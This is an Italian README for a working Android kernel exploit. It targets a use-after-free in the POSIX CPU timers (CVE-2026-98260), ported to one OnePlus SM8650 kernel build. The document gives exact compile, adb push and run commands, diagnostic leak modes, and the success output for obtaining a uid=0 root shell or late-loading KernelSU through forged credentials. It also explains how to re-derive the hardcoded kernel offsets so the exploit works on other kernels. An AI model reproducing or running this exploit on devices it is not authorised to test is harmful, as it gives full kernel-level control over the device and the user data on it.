
Exploit use-after-free del timer CPU POSIX del kernel Android per CVE-2026-98260, che consente di ottenere una shell con uid=0 o il late-load di KernelSU tramite credenziali false sui dispositivi SM8650.
Porting di CVE-2026-98260 UAF del timer CPU POSIX per 6.6.118-android15-8-g9bc34d5b0c79-abogki537459655-4k (OnePlus PKX110, SM8650/sun)
Due catene:
timer:scrittura zero di cred reali → uid=0, u:r:shell:s0 (root nel dominio shell, bset caps)timer fake:cred fake (full caps) → late-load di libksud.so della versione installata di KernelSU| Percorso | Risultato |
|---|---|
scrittura zero di cred reali + setuid(0) + exec sh | uid=0, u:r:shell:s0, ROOT_SHELL_OK |
cred fake + ksud late-load | libksud.so della versione installata (uapi 6), KSU_LOADED, su come u:r:ksu:s0 |
u:r:shell:s0), può leggere tracefs e /proc/slabinfome.weishu.kernelsu), fake usa automaticamente il suo lib/arm64/libksud.soNDK 28.2 (aarch64, API 35):
cd timer
NDK=~/Android/Sdk/ndk/28.2.13676358/toolchains/llvm/prebuilt/linux-x86_64/bin
$NDK/aarch64-linux-android35-clang -O2 -std=gnu11 -static \
-fno-stack-protector -fno-pic -I. \
-ffunction-sections -fdata-sections timer.c -o timer \
-Wl,--gc-sections -Wl,-s -Wl,--build-id=none \
-Wl,-z,norelro -pthread
adb push timer /data/local/tmp/timer
adb shell chmod 755 /data/local/tmp/timer
# Diagnostica
adb shell /data/local/tmp/timer ids # rileva l'event id della page di tracefs
adb shell /data/local/tmp/timer leak # esegue solo il leak di base/cred/task, senza attivare l'UAF
# shell uid-0 (cred reali)
adb shell /data/local/tmp/timer # id + context + ROOT_SHELL_OK
adb shell /data/local/tmp/timer shell # sh interattiva
# KernelSU (cred fake + ksud della versione installata) —— esecuzione in foreground, log mostrati in tempo reale
adb shell /data/local/tmp/timer fake
# dopo aver visto "[!] fake cred page held; reboot to clean" puoi chiudere direttamente il terminale
# (in fase di park SIGHUP/SIGINT/SIGTERM sono già ignorati, il processo continua a tenere la pagina di cred fake e non viene terminato per errore da Ctrl-C/disconnessione)
# Se è ancora necessario conservare i log sul dispositivo (mostrandoli anche in tempo reale):
adb shell 'cd /data/local/tmp && ./timer fake 2>&1 | tee timer.log'
Indicatore di successo di fake:
[ksu] ksud=.../lib/arm64/libksud.so version=ksud 3.3.1-24-g528bafc5 (uapi: 6)
KSU_LOADED
kernelsu ... Live
adb shell /system/bin/su -c id # uid=0 ... context=u:r:ksu:s0
fake, anche il processo padre esegue il park, mantenendo la page dei fake cred tramite sockettimeout/kill sui processi in park, altrimenti il recupero del nodo stale da parte di init può causare un panicpark_forever() ignora SIGHUP/SIGINT/SIGQUIT/SIGTERM/SIGPIPE, quindi durante l'esecuzione in foreground è possibile staccarsi in sicurezza con Ctrl-C o chiudendo il terminale adb; la vera terminazione è possibile solo con SIGKILL (o riavvio)timer/timer.c exploit
timer/timer artefatto statico
tools/*.c sorgenti di diagnostica del porting
Le costanti chiave sono hardcoded in timer/timer.c: siti do_timer_create/copy_process, selinux_state, panic_on_warn, dimensione della task cache di copy_process, simboli init_*
Quando si cambia kernel, rieseguire la derivazione usando boot.img/BTF/kallsyms del dispositivo; i file sotto tools/ servono a verificare call site, raw record, il leak del timer e il canale di recupero AF_UNIX da 8 KiB
woshigenm/CVE-2026-98260 (MIT): trigger, zero-write dei real-cred, idea fake cred/KSUghostlock-app: fase finale del late-load di KernelSU